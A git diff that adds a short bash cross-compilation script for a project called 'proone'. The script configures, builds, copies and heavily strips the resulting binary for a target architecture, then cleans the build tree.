diff options
Diffstat (limited to 'scripts/xcomp.sh')
-rwxr-xr-x | scripts/xcomp.sh | 8 |
1 files changed, 8 insertions, 0 deletions
diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh new file mode 100755 index 0000000..2ff24a5 --- /dev/null +++ b/scripts/xcomp.sh @@ -0,0 +1,8 @@ +#!/bin/bash +OUT="$PROONE_BIN_PREFIX.$PROONE_BIN_ARCH" + +./configure --host="$PROONE_HOST" &&\ + make -j$(nproc) &&\ + cp -a src/proone "$OUT" &&\ + "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$OUT" &&\ + make distclean |